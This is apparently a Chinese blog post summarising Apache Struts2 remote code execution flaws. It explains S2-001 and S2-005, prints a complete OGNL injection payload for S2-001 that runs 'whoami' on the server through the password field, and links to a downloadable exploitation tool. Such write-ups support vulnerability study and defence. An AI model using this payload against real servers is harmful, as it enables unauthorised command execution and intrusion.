Struts2漏洞

目录

Struts2

S2-001

S2-005


由于本人并非JAVA程序员,所以对JAVA方面的知识不是很懂,仅仅是能看懂而已,对struts2框架更是不懂。本文参考其他对struts2漏洞讲解的文章进行归纳总结,以后有时间去学习JAVA WEB开发方面的知识,后期再看了解原理。

Struts2

Apache Struts2 作为世界上最流行的 Java Web 服务器框架之一,广泛应用于各种大型网站中。

Struts 2是Struts的下一代产品,是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。

自Struts 2诞生以上,有关于这个框架的漏洞就没有停止过。从2007年7月23日发布的第一个Struts2漏洞S2-001到2017年12月发布的最新漏洞S2-055,跨度足足有十年,而漏洞的个数也升至55个。分析了Struts2的这55个漏洞发现,基本上是RCE(远程代码执行)、XSS、CSRF、DOS、目录遍历和其他功能缺陷漏洞等等,而本文我们所关注的重点是Struts 2的RCE漏洞。

使用Struts2框架的页面一般都是以.action结尾的,所以如果我们看到这种URL,我们首先应该想到的就是Struts2漏洞。

S2-001

漏洞原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}  对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
如下页面的password参数存在Struts2远程代码执行漏洞

我们抓包,将password参数改为以下,远程执行 whoami 命令

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

S2-005

漏洞原理:s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

当然,Struts2还有很多其他的远程代码执行漏洞,本文就不一一列举出来。

参考文章:Struts2著名RCE漏洞引发的十年之思

利用工具:链接: https://pan.baidu.com/s/16AAwJlXx-1K6gUGkRd7FMw   提取码: 0iu3

展开阅读全文

没有更多推荐了,返回首页